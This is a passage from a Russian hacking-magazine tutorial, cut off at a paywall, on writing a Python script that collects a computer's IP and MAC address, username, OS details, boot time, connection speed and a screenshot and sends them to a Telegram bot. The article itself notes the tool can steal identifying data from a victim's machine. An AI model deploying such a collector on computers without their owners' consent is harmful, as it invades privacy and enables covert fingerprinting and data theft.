Содержание статьи
Чтобы просто посмотреть IP-адрес и другие настройки сети, тебе придется обратиться к командной строке и выполнить команду ipconfig /
. Ситуация одна из самых частых для эникейщиков и удаленных шаманов, но она хотя бы быстро решаема. Но если придется собирать более серьезный набор информации о машине, с которой сейчас будешь работать, — без автоматизации не обойтись. Этим мы сегодня и займемся.
Имей в виду, что эта программа может использоваться как для быстрого сбора информации о своей системе, так и для кражи идентифицирующей информации с компьютера жертвы. Мы граждане законопослушные, поэтому пусть это и не пароли, но, чтобы не раздражать правоохранителей, все тесты будут проводиться на изолированных виртуальных машинах.
warning
Несанкционированный доступ к компьютерной информации — преступление. Ни автор, ни редакция журнала не несут ответственности за твои действия.
Инструменты
Сначала давай разберемся, где будем писать код. Можно кодить в обычном виндовом «Блокноте», но мы воспользуемся специальной IDE для Python — PyCharm. Установка и настройка просты как два рубля: скачал установщик, запустил — и кликай себе «Далее», пока есть такая кнопка.
Еще нам потребуется Python. Я буду использовать версию 3.9.0 — с ней точно все работает.
Задачи
Давай сначала обрисуем, что мы вообще планируем делать. Я планирую собирать следующую информацию:
- IP-адрес.
- MAC-адрес.
- Имя пользователя.
- Тип операционной системы.
- Скорость работы системы.
- Время.
- Скриншот.
- Скорость интернет‑соединения.
- Модель процессора.
И отправляться это все будет прямиком тебе в телегу через специальный бот.
Зачем?
Наверняка у тебя возник вопрос: зачем может понадобиться MAC-адрес или модель процессора? Эти параметры меняются очень и очень редко, так что прекрасно подходят для фингерпринтинга. Даже если пользователь купит более быстрый интернет‑канал или поменяет часовой пояс, ты без особого труда сможешь определить, что уже имел дело с этим компьютером. Стоит помнить, что ровно такие же методы используют хитрые рекламщики для идентификации пользователей, да и разработчики триальных версий программ тоже. Эта статья поможет чуть лучше понять, что можно узнать о твоем компьютере в полностью автоматическом режиме, а как применить эту информацию — решать только тебе.
В этой статье мы не будем показывать, как сформировать устойчивый к незначительным изменениям идентификатор, который поможет однозначно определить конкретный компьютер. Если тебе станет интересно — пиши в комментариях, и, возможно, мы сделаем большой гайд на эту тему!
Создаем основу программы
Для отправки данных я решил воспользоваться Telegram-ботом. Создать его ты можешь через BotFather, а после сохранить token твоего творения. Публиковать его нельзя — любой, кто получит этот токен, сможет захватить контроль над твоим ботом.
Для подключения к Bot API «телеги» нужны всего две строчки:
import telebotbot = telebot.TeleBot("token from BotFather") # Подключение бота
Чтобы оценить быстродействие, можно написать еще пару строк. Весь дальнейший код расположим между ними. Описанное выше подключение бота уже вписано сюда.
import telebotfrom datetime import datetimebot = telebot.TeleBot("token")start = datetime.now() # Начало отсчета# Сюда поместим нашу основу, поэтому оставляем местоends = datetime.now() # Конец отсчетаworkspeed = format(ends - start) # Вычисление времени
Теперь перейдем собственно к сбору данных.
Сбор данных
Я не буду долго ходить вокруг да около и сразу начну разбирать секцию импорта.
import getpassimport osimport socketfrom datetime import datetimefrom uuid import getnode as get_macimport pyautoguifrom speedtest import Speedtestimport telebotimport psutilimport platformfrom PIL import Image
Теперь кратко рассмотрим, что делает каждый модуль. Если какие‑то функции тебе не нужны, выброси строку импорта модуля и код, который использует этот модуль. Все просто!
Итак, за работу с ОС и локальными ресурсами отвечают эти четыре модуля:
-
getpass
нужен для определения информации о пользователе; -
os
используем для взаимодействия с функциями ОС, вроде вызова внешних исполняемых файлов; -
psutil
работает с некоторыми низкоуровневыми системными функциями; -
platform
предоставит информацию об ОС.
Этими модулями реализованы сетевые взаимодействия:
-
socket
— для работы с сокетами и получения IP-адресов; -
getnode
получает MAC-адрес машины; -
speedtest
замеряет характеристики интернет‑соединения; -
telebot
сделает всю рутину по работе с Telegram-ботом.
Служебные примочки, которые трудно отнести к категориям выше:
-
datetime
позволит определить время работы программы; -
pyautogui
быстро и без болиработает с GUI; -
PIL.
— для снятия скриншота.Image
После этого нам требуется узнать основные стабильные характеристики системы: IP- и MAC-адреса, имя пользователя и ОС:
name = getpass.getuser() # Имя пользователяip = socket.gethostbyname(socket.getfqdn()) # IP-адрес системыmac = get_mac() # MAC адресost = platform.uname() # Название операционной системы
Строки кода снабжены комментариями и в пояснениях не нуждаются.
Скорость интернет-соединения
from speedtest import Speedtest # Импорт модуля. Рассматривался вышеinet = Speedtest()download = float(str(inet.download())[0:2] + "." # Входящая скорость + str(round(inet.download(), 2))[1]) * 0.125uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость + str(round(inet.download(), 2))[1]) * 0.125
Скорость замеряется библиотекой сервиса Speedtest.net и, соответственно, выдает результат в мегабитах, а не мегабайтах. Чтобы это исправить, разделим численный результат на 8 или умножим на 0,125 — это одно и то же. Манипуляцию проделываем дважды — для входящей и исходящей скорости.
Важно понимать, что замер не претендует на сверхточность, потому что мы никак не можем легко проверить, какую часть канала потребляют другие программы или даже другие устройства в сети. Если ты подключился к рабочей станции удаленно, твое соединение тоже что‑то будет потреблять. В программе поправка на это не реализована из‑за ее слишком низкой точности и трудоемкости.
Часовой пояс и время
import psutilzone = psutil.boot_time() # Узнает время, заданное на компьютереtime = datetime.fromtimestamp(zone) # Переводит данные в читаемый вид
Если ты настраиваешь чей‑то сервер или слишком удаленный компьютер, время может отличаться. Ко всем прочим данным добавим и показания часов — информация лишней не бывает. Если ты не знал, неправильно выставленное время и/или часовой пояс может вызывать сбои при подключении к сайтам, использующим HTTPS, а этот кусочек кода позволит легко выявить такие проблемы.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»